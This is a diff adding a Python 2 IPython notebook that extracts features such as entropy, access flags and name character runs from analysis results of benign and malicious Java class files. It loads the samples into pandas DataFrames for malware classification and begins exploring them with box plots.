+      "                current_length = 0\n",
+      "            current = False\n",
+      "    if current:\n",
+      "        uppercase_runs.append(current_length)\n",
+      "\n",
+      "    current_length = 0\n",
+      "    current = False\n",
+      "    for d in digits:\n",
+      "        if d:\n",
+      "            current_length += 1\n",
+      "            current = True\n",
+      "        else:\n",
+      "            if current:\n",
+      "                digit_runs.append(current_length)\n",
+      "                current_length = 0\n",
+      "            current = False\n",
+      "    if current:\n",
+      "        digit_runs.append(current_length)\n",
+      "    \n",
+      "    return lowercase_runs, uppercase_runs, digit_runs"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 120
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "### Function to extract out the features we are interested with from the json blob"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "def extract_features(data):\n",
+      "    features = {}\n",
+      "    try:\n",
+      "        features['sha256'] = data['metadata']['sha256']\n",
+      "        features['size'] = data['metadata']['file_size']\n",
+      "        features['entropy'] = data['metadata']['entropy']\n",
+      "        if 'sourcefile' in data['characteristics']['java']:\n",
+      "            features['source file'] = data['characteristics']['java']['sourcefile']\n",
+      "        else:\n",
+      "            features['source file'] = 'No Source File'\n",
+      "        if 'access_permissions' in data['characteristics']['java']:\n",
+      "            features['ap_count'] = len(data['characteristics']['java']['access_permissions'])\n",
+      "            for ap in data['characteristics']['java']['access_permissions']:\n",
+      "                features[str.lower(str(ap).replace(\" \", \"_\"))] = 1\n",
+      "        features['class name'] = data['characteristics']['java']['class_name']\n",
+      "        features['class_name_slash_count'] = features['class name'].count('/')\n",
+      "        features['class_name_length'] = len(features['class name'])\n",
+      "        cn_lowercase_runs, cn_uppercase_runs, cn_digit_runs = extract_character_info(features['class name'])\n",
+      "        cn_lowercase_run_longest = 0\n",
+      "        cn_lowercase_run_average = 0\n",
+      "        cn_uppercase_run_longest = 0\n",
+      "        cn_uppercase_run_average = 0\n",
+      "        cn_digit_run_longest = 0\n",
+      "        cn_digit_run_average = 0\n",
+      "        if cn_lowercase_runs:\n",
+      "            cn_lowercase_run_longest = np.max(cn_lowercase_runs)\n",
+      "            cn_lowercase_run_average = np.mean(cn_lowercase_runs)\n",
+      "        features['class_name_lowercase_run_longest'] = cn_lowercase_run_longest\n",
+      "        features['class_name_lowercase_run_avg'] = cn_lowercase_run_average\n",
+      "                    \n",
+      "        if cn_uppercase_runs:\n",
+      "            cn_uppercase_run_longest = np.max(cn_uppercase_runs)\n",
+      "            cn_uppercase_run_average = np.mean(cn_uppercase_runs)\n",
+      "        features['class_name_uppercase_run_longest'] = cn_uppercase_run_longest\n",
+      "        features['class_name_uppercase_run_avg'] = cn_uppercase_run_average\n",
+      "\n",
+      "        if cn_digit_runs:\n",
+      "            cn_digit_run_longest = np.max(cn_digit_runs)\n",
+      "            cn_digit_run_average = np.mean(cn_digit_runs)\n",
+      "        features['class_name_digit_run_longest'] = cn_digit_run_longest\n",
+      "        features['class_name_digit_run_avg'] = cn_digit_run_average\n",
+      "        \n",
+      "        features['major version'] = data['characteristics']['java']['major_version']\n",
+      "        features['minor version'] = data['characteristics']['java']['minor_version']\n",
+      "        if 'method_names' in data['characteristics']['java']:\n",
+      "            features['method names'] = data['characteristics']['java']['method_names']\n",
+      "        else:\n",
+      "            features['method names'] = []\n",
+      "        features['methods_count'] = len(features['method names'])\n",
+      "        lowercase_run_longest = 0\n",
+      "        lowercase_run_average = 0 \n",
+      "        lowercase_runs = []\n",
+      "        uppercase_run_longest = 0\n",
+      "        uppercase_run_average = 0 \n",
+      "        uppercase_runs = []\n",
+      "        digit_run_longest = 0\n",
+      "        digit_run_average = 0\n",
+      "        digit_runs = []\n",
+      "\n",
+      "        for method in features['method names']:\n",
+      "            lc, uc, d = extract_character_info(method)\n",
+      "            lowercase_runs.extend(lc)\n",
+      "            uppercase_runs.extend(uc)\n",
+      "            digit_runs.extend(d)\n",
+      "            \n",
+      "        if lowercase_runs:\n",
+      "            lowercase_run_longest = np.max(lowercase_runs)\n",
+      "            lowercase_run_average = np.mean(lowercase_runs)\n",
+      "        features['method_name_lowercase_run_longest'] = lowercase_run_longest\n",
+      "        features['method_name_lowercase_run_avg'] = lowercase_run_average\n",
+      "                    \n",
+      "        if uppercase_runs:\n",
+      "            uppercase_run_longest = np.max(uppercase_runs)\n",
+      "            uppercase_run_average = np.mean(uppercase_runs)\n",
+      "        features['method_name_uppercase_run_longest'] = uppercase_run_longest\n",
+      "        features['method_name_uppercase_run_avg'] = uppercase_run_average\n",
+      "\n",
+      "        if digit_runs:\n",
+      "            digit_run_longest = np.max(digit_runs)\n",
+      "            digit_run_average = np.mean(digit_runs)\n",
+      "        features['method_name_digit_run_longest'] = digit_run_longest\n",
+      "        features['method_name_digit_run_avg'] = digit_run_average\n",
+      "        \n",
+      "        if 'interfaces' in data['characteristics']['java']:\n",
+      "            features['interfaces'] = data['characteristics']['java']['interfaces']\n",
+      "        else:\n",
+      "            features['interfaces'] = []\n",
+      "        features['interface_count'] = len(features['interfaces'])\n",
+      "        features['constant_pool_count'] = data['characteristics']['java']['const_pool_count']\n",
+      "\n",
+      "    except KeyError as ke:\n",
+      "        print 'ERROR:', ke, data['metadata']['sha256']\n",
+      "    return features"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 121
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "def load_files(file_list):\n",
+      "    import json\n",
+      "    features_list = []\n",
+      "    for filename in file_list:\n",
+      "        with open(filename,'rb') as f:\n",
+      "            features = extract_features(json.loads(f.read()))\n",
+      "            features_list.append(features)\n",
+      "    return features_list"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 122
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### We read in the benign and malicious files"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# Good files\n",
+      "import glob\n",
+      "\n",
+      "good_list = glob.glob('data/clean/*.results')\n",
+      "good_features = load_files(good_list)\n",
+      "print \"Files:\", len(good_list)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Files: 500\n"
+       ]
+      }
+     ],
+     "prompt_number": 123
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# Bad files\n",
+      "bad_list = glob.glob('data/malicious/*.results')\n",
+      "bad_features = load_files(bad_list)\n",
+      "print \"Files:\", len(bad_list)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Files: 520\n"
+       ]
+      }
+     ],
+     "prompt_number": 124
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df_good = pd.DataFrame.from_records(good_features)\n",
+      "df_good.fillna(0, inplace=True)\n",
+      "df_good['label'] = 'benign'\n",
+      "df_good.head()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "html": [
+        "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n",
+        "<table border=\"1\" class=\"dataframe\">\n",
+        "  <thead>\n",
+        "    <tr style=\"text-align: right;\">\n",
+        "      <th></th>\n",
+        "      <th>acc_abstract</th>\n",
+        "      <th>acc_annotation</th>\n",
+        "      <th>acc_enum</th>\n",
+        "      <th>acc_final</th>\n",
+        "      <th>acc_interface</th>\n",
+        "      <th>acc_public</th>\n",
+        "      <th>acc_super</th>\n",
+        "      <th>acc_synthetic</th>\n",
+        "      <th>ap_count</th>\n",
+        "      <th>class name</th>\n",
+        "      <th>class_name_digit_run_avg</th>\n",
+        "      <th>class_name_digit_run_longest</th>\n",
+        "      <th>class_name_length</th>\n",
+        "      <th>class_name_lowercase_run_avg</th>\n",
+        "      <th>class_name_lowercase_run_longest</th>\n",
+        "      <th>class_name_slash_count</th>\n",
+        "      <th>class_name_uppercase_run_avg</th>\n",
+        "      <th>class_name_uppercase_run_longest</th>\n",
+        "      <th>constant_pool_count</th>\n",
+        "      <th>entropy</th>\n",
+        "      <th></th>\n",
+        "    </tr>\n",
+        "  </thead>\n",
+        "  <tbody>\n",
+        "    <tr>\n",
+        "      <th>0</th>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 3</td>\n",
+        "      <td> com/google/common/collect/ForwardingConcurrentMap</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 49</td>\n",
+        "      <td> 6.000000</td>\n",
+        "      <td>  9</td>\n",
+        "      <td> 4</td>\n",
+        "      <td> 1.0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>  54</td>\n",
+        "      <td> 4.990507</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>1</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> org/apache/hadoop/io/compress/GzipCodec$GzipOu...</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 82</td>\n",
+        "      <td> 4.846154</td>\n",
+        "      <td>  8</td>\n",
+        "      <td> 5</td>\n",
+        "      <td> 1.5</td>\n",
+        "      <td> 5</td>\n",
+        "      <td>  39</td>\n",
+        "      <td> 5.205063</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>2</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 2</td>\n",
+        "      <td> com/google/common/collect/Multisets$Unmodifiab...</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 62</td>\n",
+        "      <td> 6.625000</td>\n",
+        "      <td> 11</td>\n",
+        "      <td> 4</td>\n",
+        "      <td> 1.0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 131</td>\n",
+        "      <td> 4.996721</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>3</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>        hu/openig/mechanics/StaticDefensePlanner$1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 42</td>\n",
+        "      <td> 5.666667</td>\n",
+        "      <td>  9</td>\n",
+        "      <td> 3</td>\n",
+        "      <td> 1.0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>  56</td>\n",
+        "      <td> 5.282413</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>4</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 2</td>\n",
+        "      <td>                org/apache/commons/io/LineIterator</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 34</td>\n",
+        "      <td> 4.666667</td>\n",
+        "      <td>  7</td>\n",
+        "      <td> 4</td>\n",
+        "      <td> 1.0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>  95</td>\n",
+        "      <td> 5.285082</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "  </tbody>\n",
+        "</table>\n",
+        "<p>5 rows \u00d7 36 columns</p>\n",
+        "</div>"
+       ],
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 125,
+       "text": [
+        "   acc_abstract  acc_annotation  acc_enum  acc_final  acc_interface  \\\n",
+        "0             1               0         0          0              0   \n",
+        "1             0               0         0          0              0   \n",
+        "2             0               0         0          1              0   \n",
+        "3             0               0         0          0              0   \n",
+        "4             0               0         0          0              0   \n",
+        "\n",
+        "   acc_public  acc_super  acc_synthetic  ap_count  \\\n",
+        "0           1          1              0         3   \n",
+        "1           0          1              0         1   \n",
+        "2           0          1              0         2   \n",
+        "3           0          1              0         1   \n",
+        "4           1          1              0         2   \n",
+        "\n",
+        "                                          class name  \\\n",
+        "0  com/google/common/collect/ForwardingConcurrentMap   \n",
+        "1  org/apache/hadoop/io/compress/GzipCodec$GzipOu...   \n",
+        "2  com/google/common/collect/Multisets$Unmodifiab...   \n",
+        "3         hu/openig/mechanics/StaticDefensePlanner$1   \n",
+        "4                 org/apache/commons/io/LineIterator   \n",
+        "\n",
+        "   class_name_digit_run_avg  class_name_digit_run_longest  class_name_length  \\\n",
+        "0                         0                             0                 49   \n",
+        "1                         0                             0                 82   \n",
+        "2                         0                             0                 62   \n",
+        "3                         1                             1                 42   \n",
+        "4                         0                             0                 34   \n",
+        "\n",
+        "   class_name_lowercase_run_avg  class_name_lowercase_run_longest  \\\n",
+        "0                      6.000000                                 9   \n",
+        "1                      4.846154                                 8   \n",
+        "2                      6.625000                                11   \n",
+        "3                      5.666667                                 9   \n",
+        "4                      4.666667                                 7   \n",
+        "\n",
+        "   class_name_slash_count  class_name_uppercase_run_avg  \\\n",
+        "0                       4                           1.0   \n",
+        "1                       5                           1.5   \n",
+        "2                       4                           1.0   \n",
+        "3                       3                           1.0   \n",
+        "4                       4                           1.0   \n",
+        "\n",
+        "   class_name_uppercase_run_longest  constant_pool_count   entropy      \n",
+        "0                                 1                   54  4.990507 ...  \n",
+        "1                                 5                   39  5.205063 ...  \n",
+        "2                                 1                  131  4.996721 ...  \n",
+        "3                                 1                   56  5.282413 ...  \n",
+        "4                                 1                   95  5.285082 ...  \n",
+        "\n",
+        "[5 rows x 36 columns]"
+       ]
+      }
+     ],
+     "prompt_number": 125
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df_bad = pd.DataFrame.from_records(bad_features)\n",
+      "df_bad.fillna(0, inplace=True)\n",
+      "df_bad['label'] = 'malicious'\n",
+      "df_bad.head()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "html": [
+        "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n",
+        "<table border=\"1\" class=\"dataframe\">\n",
+        "  <thead>\n",
+        "    <tr style=\"text-align: right;\">\n",
+        "      <th></th>\n",
+        "      <th>acc_final</th>\n",
+        "      <th>acc_public</th>\n",
+        "      <th>acc_super</th>\n",
+        "      <th>ap_count</th>\n",
+        "      <th>class name</th>\n",
+        "      <th>class_name_digit_run_avg</th>\n",
+        "      <th>class_name_digit_run_longest</th>\n",
+        "      <th>class_name_length</th>\n",
+        "      <th>class_name_lowercase_run_avg</th>\n",
+        "      <th>class_name_lowercase_run_longest</th>\n",
+        "      <th>class_name_slash_count</th>\n",
+        "      <th>class_name_uppercase_run_avg</th>\n",
+        "      <th>class_name_uppercase_run_longest</th>\n",
+        "      <th>constant_pool_count</th>\n",
+        "      <th>entropy</th>\n",
+        "      <th>interface_count</th>\n",
+        "      <th>interfaces</th>\n",
+        "      <th>major version</th>\n",
+        "      <th>method names</th>\n",
+        "      <th>method_name_digit_run_avg</th>\n",
+        "      <th></th>\n",
+        "    </tr>\n",
+        "  </thead>\n",
+        "  <tbody>\n",
+        "    <tr>\n",
+        "      <th>0</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 2</td>\n",
+        "      <td>                        Main</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td>  4</td>\n",
+        "      <td>  3.0</td>\n",
+        "      <td>  3</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1.000000</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>  86</td>\n",
+        "      <td> 6.114522</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> []</td>\n",
+        "      <td> 48</td>\n",
+        "      <td>                                    [&lt;init&gt;, init]</td>\n",
+        "      <td> 0</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>1</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>            YdCdHX/VcZaXVjyy</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 16</td>\n",
+        "      <td>  1.4</td>\n",
+        "      <td>  3</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1.333333</td>\n",
+        "      <td> 2</td>\n",
+        "      <td>  52</td>\n",
+        "      <td> 5.539514</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> []</td>\n",
+        "      <td> 49</td>\n",
+        "      <td>                      [&lt;init&gt;, ktCgxlqo, &lt;clinit&gt;]</td>\n",
+        "      <td> 0</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>2</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 2</td>\n",
+        "      <td>                      aOcMSp</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td>  6</td>\n",
+        "      <td>  1.0</td>\n",
+        "      <td>  1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1.500000</td>\n",
+        "      <td> 2</td>\n",
+        "      <td> 159</td>\n",
+        "      <td> 5.953528</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> []</td>\n",
+        "      <td> 49</td>\n",
+        "      <td>                         [&lt;init&gt;, gvuNr, &lt;clinit&gt;]</td>\n",
+        "      <td> 0</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>3</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>         a/zylasqwjlpbqyrwrr</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 19</td>\n",
+        "      <td>  9.0</td>\n",
+        "      <td> 17</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0.000000</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 478</td>\n",
+        "      <td> 6.348531</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> []</td>\n",
+        "      <td> 49</td>\n",
+        "      <td> [&lt;init&gt;, eiaxyercdfvbgscpbv, yginlmcynkyuohnfh...</td>\n",
+        "      <td> 0</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>4</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 2</td>\n",
+        "      <td> tljpjunbjwtqlywm/sdnrybknlf</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 27</td>\n",
+        "      <td> 13.0</td>\n",
+        "      <td> 16</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0.000000</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 122</td>\n",
+        "      <td> 5.376762</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> []</td>\n",
+        "      <td> 49</td>\n",
+        "      <td>                        [&lt;init&gt;, dvvwse, &lt;clinit&gt;]</td>\n",
+        "      <td> 0</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "  </tbody>\n",
+        "</table>\n",
+        "<p>5 rows \u00d7 31 columns</p>\n",
+        "</div>"
+       ],
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 126,
+       "text": [
+        "   acc_final  acc_public  acc_super  ap_count                   class name  \\\n",
+        "0          0           1          1         2                         Main   \n",
+        "1          0           0          1         1             YdCdHX/VcZaXVjyy   \n",
+        "2          0           1          1         2                       aOcMSp   \n",
+        "3          0           0          1         1          a/zylasqwjlpbqyrwrr   \n",
+        "4          0           1          1         2  tljpjunbjwtqlywm/sdnrybknlf   \n",
+        "\n",
+        "   class_name_digit_run_avg  class_name_digit_run_longest  class_name_length  \\\n",
+        "0                         0                             0                  4   \n",
+        "1                         0                             0                 16   \n",
+        "2                         0                             0                  6   \n",
+        "3                         0                             0                 19   \n",
+        "4                         0                             0                 27   \n",
+        "\n",
+        "   class_name_lowercase_run_avg  class_name_lowercase_run_longest  \\\n",
+        "0                           3.0                                 3   \n",
+        "1                           1.4                                 3   \n",
+        "2                           1.0                                 1   \n",
+        "3                           9.0                                17   \n",
+        "4                          13.0                                16   \n",
+        "\n",
+        "   class_name_slash_count  class_name_uppercase_run_avg  \\\n",
+        "0                       0                      1.000000   \n",
+        "1                       1                      1.333333   \n",
+        "2                       0                      1.500000   \n",
+        "3                       1                      0.000000   \n",
+        "4                       1                      0.000000   \n",
+        "\n",
+        "   class_name_uppercase_run_longest  constant_pool_count   entropy  \\\n",
+        "0                                 1                   86  6.114522   \n",
+        "1                                 2                   52  5.539514   \n",
+        "2                                 2                  159  5.953528   \n",
+        "3                                 0                  478  6.348531   \n",
+        "4                                 0                  122  5.376762   \n",
+        "\n",
+        "   interface_count interfaces  major version  \\\n",
+        "0                0         []             48   \n",
+        "1                0         []             49   \n",
+        "2                0         []             49   \n",
+        "3                0         []             49   \n",
+        "4                0         []             49   \n",
+        "\n",
+        "                                        method names  \\\n",
+        "0                                     [<init>, init]   \n",
+        "1                       [<init>, ktCgxlqo, <clinit>]   \n",
+        "2                          [<init>, gvuNr, <clinit>]   \n",
+        "3  [<init>, eiaxyercdfvbgscpbv, yginlmcynkyuohnfh...   \n",
+        "4                         [<init>, dvvwse, <clinit>]   \n",
+        "\n",
+        "   method_name_digit_run_avg      \n",
+        "0                          0 ...  \n",
+        "1                          0 ...  \n",
+        "2                          0 ...  \n",
+        "3                          0 ...  \n",
+        "4                          0 ...  \n",
+        "\n",
+        "[5 rows x 31 columns]"
+       ]
+      }
+     ],
+     "prompt_number": 126
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df = pd.concat([df_bad, df_good], ignore_index=True)\n",
+      "df.fillna(0, inplace=True)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 127
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "### Let's explore the data.\n",
+      "\n",
+      "#### We start by comparing the file sizes."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot(column='size', by='label')\n",
+      "plt.ylabel('File Size')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 129,
+       "text": [
+        "<matplotlib.text.Text at 0x12b873d90>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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